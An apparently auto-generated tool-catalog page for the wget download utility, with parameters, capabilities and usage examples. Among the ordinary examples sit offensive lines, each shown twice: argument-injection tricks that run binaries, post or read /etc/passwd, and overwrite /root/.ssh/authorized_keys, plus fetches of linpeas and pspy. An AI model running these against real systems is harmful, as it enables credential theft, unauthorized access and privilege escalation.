network enabled verified low v1.0.0

wget

Non-interactive download utility supporting HTTP, HTTPS, and FTP protocols with recursive download and resume capability.

📋 Live Preview
wget {version} {help} {background} {execute} {output-file}
๐Ÿ“Ž version ๐Ÿ“Ž help ๐Ÿ“Ž background ๐Ÿ“Ž execute ๐Ÿ“Ž output-file
wget {version} {help} {background} {execute} {output-file}

Sandbox: execFile · Timeout: 300s

Capabilities

network.transfer.download
network.mirror.site
network.transfer.recursive
network.transfer.resume
network.http.fetch
network.transfer.upload
security.execution.command
system.file.read
system.file.write

Parameters

Name Type Required Default Description Aliases
version string No - display the version of Wget and exit -V, --version
help string No - print this help -h, --help
background string No - go to background after startup -b, --background
execute string No - execute a `.wgetrc'-style command -e, --execute
output-file file No - log messages to FILE -o, --output-file
append-output file No - append messages to FILE -a, --append-output
debug string No - print lots of debugging information -d, --debug
quiet string No - quiet (no output) -q, --quiet
verbose string No - be verbose (this is the default) -v, --verbose
no-verbose string No - turn off verboseness, without being quiet -n, --no-verbose
report-speed string No - output bandwidth as TYPE. TYPE can be bits --report-speed
input-file file No - download URLs found in local or external FILE -i, --input-file
force-html file No - treat input file as HTML -F, --force-html
base url No - resolves HTML input-file links (-i -F) -B, --base
config file No - specify config file to use --config
no-config string No - do not read any config file --no-config
rejected-log file No - log reasons for URL rejection to FILE --rejected-log
tries integer No - set number of retries to NUMBER (0 unlimits) -t, --tries
retry-connrefused string No - retry even if connection is refused --retry-connrefused
retry-on-host-error string No - consider host errors as non-fatal, transient errors --retry-on-host-error
retry-on-http-error url No - comma-separated list of HTTP errors to retry --retry-on-http-error
output-document file No - write documents to FILE -O, --output-document
no-clobber string No - skip downloads that would download to -n, --no-clobber
no-netrc string No - don't try to obtain credentials from .netrc --no-netrc
continue string No - resume getting a partially-downloaded file -c, --continue
start-pos string No - start downloading from zero-based position OFFSET --start-pos
progress string No - select progress gauge type --progress
show-progress string No - display the progress bar in any verbosity mode --show-progress
timestamping string No - don't re-retrieve files unless newer than -N, --timestamping
no-if-modified-since string No - don't use conditional if-modified-since get --no-if-modified-since
accept array No - comma-separated list of accepted extensions -A, --accept
accept-regex string No - regex matching accepted URLs --accept-regex
adjust-extension string No - save HTML/CSS documents with proper extensions -E, --adjust-extension
ask-password string No - prompt for passwords --ask-password
auth-no-challenge url No - send Basic HTTP authentication information --auth-no-challenge
backup-converted string No - before converting file X, back up as X.orig -K, --backup-converted
backups integer No - before writing file X, rotate up to N backup files --backups
bind-address string No - bind to ADDRESS (hostname or IP) on local host --bind-address
body-data string No - send STRING as data. --method MUST be set --body-data
body-file file No - send contents of FILE. --method MUST be set --body-file
ca-certificate file No - file with the bundle of CAs --ca-certificate
ca-directory file No - directory where hash list of CAs is stored --ca-directory
certificate file No - client certificate file --certificate
certificate-type string No - client certificate type, PEM or DER --certificate-type
ciphers string No - Set the priority string (GnuTLS) or cipher list string (OpenSSL) directly --ciphers
compression string No - choose compression, one of auto, gzip and none --compression
connect-timeout number No - set the connect timeout to SECS --connect-timeout
content-disposition string No - honor the Content-Disposition header when --content-disposition
content-on-error string No - output the received content on server errors --content-on-error
convert-file-only string No - convert the file part of the URLs only (usually known as the basename) --convert-file-only
convert-links string No - make links in downloaded HTML or CSS point to -k, --convert-links
crl-file file No - file with bundle of CRLs --crl-file
cut-dirs integer No - ignore NUMBER remote directory components --cut-dirs
default-page string No - change the default page name (normally --default-page
delete-after string No - delete files locally after downloading them --delete-after
directory-prefix string No - save files to PREFIX/ -P, --directory-prefix
dns-timeout number No - set the DNS lookup timeout to SECS --dns-timeout
domains array No - comma-separated list of accepted domains -D, --domains
exclude-directories array No - -X, --exclude-directories
exclude-domains array No - comma-separated list of rejected domains --exclude-domains
follow-ftp string No - follow FTP links from HTML documents --follow-ftp
follow-tags array No - comma-separated list of followed HTML tags --follow-tags
force-directories string No - force creation of directories -x, --force-directories
ftp-password string No - set ftp password to PASS --ftp-password
ftp-user string No - set ftp user to USER --ftp-user
ftps-clear-data-connection string No - cipher the control channel only; all the data will be in plaintext --ftps-clear-data-connection
ftps-fallback-to-ftp string No - fall back to FTP if FTPS is not supported in the target server --ftps-fallback-to-ftp
ftps-implicit string No - use implicit FTPS (default port is 990) --ftps-implicit
ftps-resume-ssl string No - resume the SSL/TLS session started in the control connection when --ftps-resume-ssl
header string No - insert STRING among the headers --header
hsts-file string No - path of HSTS database (will override default) --hsts-file
http-password url No - set http password to PASS --http-password
http-user url No - set http user to USER --http-user
https-only url No - only follow secure HTTPS links --https-only
ignore-case string No - ignore case when matching files/directories --ignore-case
ignore-length string No - ignore 'Content-Length' header field --ignore-length
ignore-tags array No - comma-separated list of ignored HTML tags --ignore-tags
include-directories array No - --trust-server-names use the name specified by the redirection URL's last component -I, --include-directories
inet4-only string No - connect only to IPv4 addresses -4, --inet4-only
inet6-only string No - connect only to IPv6 addresses -6, --inet6-only
keep-session-cookies string No - load and save session (non-permanent) cookies --keep-session-cookies
level integer No - maximum recursion depth (inf or 0 for infinite) -l, --level
limit-rate number No - limit download rate to RATE --limit-rate
load-cookies file No - load cookies from FILE before session --load-cookies
local-encoding string No - use ENC as the local encoding for IRIs --local-encoding
max-redirect string No - maximum redirections allowed per page --max-redirect
method url No - use method "HTTPMethod" in the request --method
mirror string No - shortcut for -N -r -l inf --no-remove-listing -m, --mirror
nH boolean No - don't create host directories -nH, --no-host-directories
nc boolean No - skip downloads that would download to -nc, --no-clobber
nd boolean No - don't create directories -nd, --no-directories
no-cache string No - disallow server-cached data --no-cache
no-check-certificate string No - don't validate the server's certificate --no-check-certificate
no-cookies string No - don't use cookies --no-cookies
no-directories string No - don't create directories -n, --no-directories
no-dns-cache string No - disable caching DNS lookups --no-dns-cache
no-glob string No - turn off FTP file name globbing --no-glob
no-host-directories string No - don't create host directories -n, --no-host-directories
no-hsts string No - disable HSTS --no-hsts
no-http-keep-alive url No - disable HTTP keep-alive (persistent connections) --no-http-keep-alive
no-iri string No - turn off IRI support --no-iri
no-parent file No - don't ascend to the parent directory -n, --no-parent
no-passive-ftp string No - disable the "passive" transfer mode --no-passive-ftp
no-proxy string No - explicitly turn off proxy --no-proxy
no-remove-listing string No - don't remove '.listing' files --no-remove-listing
no-use-server-timestamps string No - the one on the server --no-use-server-timestamps
no-warc-compression string No - do not compress WARC files with GZIP --no-warc-compression
no-warc-digests string No - do not calculate SHA1 digests --no-warc-digests
no-warc-keep-log string No - do not store the log file in a WARC record --no-warc-keep-log
np boolean No - don't ascend to the parent directory -np, --no-parent
nv boolean No - turn off verboseness, without being quiet -nv, --no-verbose
page-requisites string No - get all images, etc. needed to display HTML page -p, --page-requisites
password url No - set both ftp and http password to PASS --password
pinnedpubkey file No - of base64 encoded sha256 hashes preceded by 'sha256//' and separated by ';', to verify peer against --pinnedpubkey
post-data string No - use the POST method; send STRING as the data --post-data
post-file file No - use the POST method; send contents of FILE --post-file
prefer-family string No - connect first to addresses of specified family --prefer-family
preserve-permissions string No - preserve remote file permissions --preserve-permissions
private-key file No - private key file --private-key
private-key-type string No - private key type, PEM or DER --private-key-type
protocol-directories string No - use protocol name in directories --protocol-directories
proxy-password string No - set PASS as proxy password --proxy-password
proxy-user string No - set USER as proxy username --proxy-user
quota integer No - set retrieval quota to NUMBER -Q, --quota
random-wait string No - wait from 0.5*WAIT...1.5*WAIT secs between retrievals --random-wait
read-timeout number No - set the read timeout to SECS --read-timeout
recursive string No - specify recursive download -r, --recursive
referer url No - include 'Referer: URL' header in HTTP request --referer
regex-type string No - regex type (posix|pcre) --regex-type
reject array No - comma-separated list of rejected extensions -R, --reject
reject-regex string No - regex matching rejected URLs --reject-regex
relative string No - follow relative links only -L, --relative
remote-encoding string No - use ENC as the default remote encoding --remote-encoding
restrict-file-names string No - restrict chars in file names to ones OS allows --restrict-file-names
retr-symlinks string No - when recursing, get linked-to files (not dir) --retr-symlinks
save-cookies file No - save cookies to FILE after session --save-cookies
save-headers url No - save the HTTP headers to file --save-headers
secure-protocol string No - choose secure protocol, one of auto, SSLv2 --secure-protocol
server-response string No - print server response -S, --server-response
span-hosts string No - go to foreign hosts when recursive -H, --span-hosts
spider string No - don't download anything --spider
strict-comments string No - turn on strict (SGML) handling of HTML comments --strict-comments
timeout integer No - set all timeout values to SECONDS -T, --timeout
trust_server_names boolean No - use the name specified by the redirection --trust-server-names
unlink string No - remove file before clobber --unlink
use-askpass string No - specify credential handler for requesting --use-askpass
user url No - set both ftp and http user to USER --user
user-agent string No - identify as AGENT instead of Wget/VERSION -U, --user-agent
wait integer No - wait SECONDS between retrievals -w, --wait
waitretry integer No - wait 1..SECONDS between retries of a retrieval --waitretry
warc-cdx string No - write CDX index files --warc-cdx
warc-dedup string No - do not store records listed in this CDX file --warc-dedup
warc-file string No - save request/response data to a .warc.gz file --warc-file
warc-header string No - insert STRING into the warcinfo record --warc-header
warc-max-size integer No - set maximum size of WARC files to NUMBER --warc-max-size
warc-tempdir file No - location for temporary files created by the --warc-tempdir
xattr string No - turn on storage of metadata in extended file attributes --xattr

Artifacts

TypeDescriptionMIMESchemaTrust
network.transfer.fileFile downloaded from a remote server--community
network.http.responseHTTP response datatext/plain-verified

Contract

Inputs

network.target.url

URL to download

Outputs

network.transfer.file

Downloaded file written to disk

Side effects: filesystem_writenetwork_traffic

Workflow Edges

Produces

network.transfer.file

Consumes

network.target.url

Resource Profile

ResourceValue
CPUlow
Memory32 MB
Networkmedium
Disk I/Omedium

Examples

Download a single file

wget https://example.com/file.zip

Download with custom filename

wget -O output.zip https://example.com/file.zip

Resume an interrupted download

wget -c https://example.com/largefile.iso

Recursively download a website

wget -r -l 2 -np https://example.com/docs/

Mirror an entire site

wget -m -k https://docs.example.com/

Can be used to execute any command or file on a system, but without any arguments, and without stdout/stderr. This can be useful if you are able to write an executable to the server beforehand. The example here invokes /sbin/reboot.

wget --use-askpass=/sbin/reboot http://0/

Send a local file to a remote server in a POST request. Note that the file will be sent as-is.

wget --post-file=/etc/passwd http://0/

Read local files by importing the file as URIs to be retrieved. The content of the file will be displayed as error messages.

wget --input-file=/etc/passwd http://0/

Reads local data and writes the output to a file. This is only suitable for displaying non-binary files, as the output is an error-log.

wget --input-file=/etc/passwd --output-file=/tmp/passwd.txt

Downloads a remote file via an HTTP GET request and saves it to a specific location.

wget --output-document=/root/.ssh/authorized_keys http://0/

Argument injection: execute arbitrary command: Can be used to execute any command or file on a system, but without any arguments, and without stdout/stderr. This can be useful if you are able to write an executable to the server beforehand. The example here invokes /sbin/reboot.

wget --use-askpass=/sbin/reboot http://0/

Argument injection: upload file: Send a local file to a remote server in a POST request. Note that the file will be sent as-is.

wget --post-file=/etc/passwd http://0/

Argument injection: read local file: Read local files by importing the file as URIs to be retrieved. The content of the file will be displayed as error messages.

wget --input-file=/etc/passwd http://0/

Argument injection: write to local file: Reads local data and writes the output to a file. This is only suitable for displaying non-binary files, as the output is an error-log.

wget --input-file=/etc/passwd --output-file=/tmp/passwd.txt

Argument injection: download file: Downloads a remote file via an HTTP GET request and saves it to a specific location.

wget --output-document=/root/.ssh/authorized_keys http://0/

NetRunners usefull/shell

wget {{URL}}/pspy

NetRunners usefull/shell

wget {{URL}}/linpeas.sh

Download a file from a given URL and save it in the current directory

wget http://example.com/file.zip

Download a file and save it with a different name

wget -O newname.zip http://example.com/file.zip

Download files in the background

wget -b http://example.com/file.zip

Download a file and limit the download speed to reduce bandwidth usage

wget --limit-rate=200k http://example.com/file.zip

Download files from a list of URLs provided in a text file

wget -i urls.txt

Resume an incomplete download

wget -c http://example.com/file.zip

Download a file while showing the progress in a more readable form

wget --show-progress http://example.com/file.zip

Download a file without checking the server's SSL certificate

wget --no-check-certificate https://example.com/file.zip

Download an entire website for offline browsing

wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://example.com

Download a file with HTTP authentication

wget --user=username --password=password http://example.com/secure-file.zip

Download a file with cookies, useful for sites that require logins

wget --load-cookies cookies.txt http://example.com/file.zip

Download a directory from an FTP server

wget -r ftp://example.com/pub/

Download only files newer than the local version

wget -N http://example.com/file.zip

Download a file only if it has been updated on the server

wget -S --spider http://example.com/file.zip

Quietly download a file, continuing where it left of, if the connection fails. The file will be downloaded to the current working directory.

wget -qc http://example.com/file.zip

Specify a location to download the given file.

wget -qcO [PATH] http://example.com/file.zip

Download URL using the user agent string provided to the `-U` flag.

wget -U 'Mozilla/5.0' http://example.com/file.zip

Documentation

Wget โ€” Non-Interactive Download Utility

Wget is a free utility for non-interactive download of files from the web. It supports HTTP, HTTPS, and FTP protocols, and is particularly suited for reliable downloading in scripts and automated workflows.

Key Features

Feature Description
Resume Continue interrupted downloads with -c
Recursive Follow links recursively with -r
Mirror Download entire websites for offline viewing
Robust Retry on failure, adaptive bandwidth, timestamping

Recursive Download

# Download a directory structure
wget -r -np -nH --cut-dirs=1 https://example.com/files/

# Download with file type filtering
wget -r -A.pdf https://example.com/documents/

# Avoid downloading specific types
wget -r -R.jpg,.png,.gif https://example.com/

Rate Limiting

# Limit download speed
wget --limit-rate=200k https://example.com/largefile.iso

# Set retry and wait intervals
wget --tries=10 --wait=5 https://example.com/

Authentication

# HTTP Basic Auth
wget --user=username --password=password https://example.com/private/

# Using .netrc file
echo "machine example.com login user password pass" > ~/.netrc
wget https://example.com/private/

Related Tools

  • curl โ€” More protocol support, stdout-oriented
  • axel โ€” Accelerated download with multiple connections
  • aria2c โ€” Multi-protocol, multi-connection downloader
  • httrack โ€” Full website mirroring tool

Related Tools

aria2chttrackaxelcurlnetwork-http-curl

References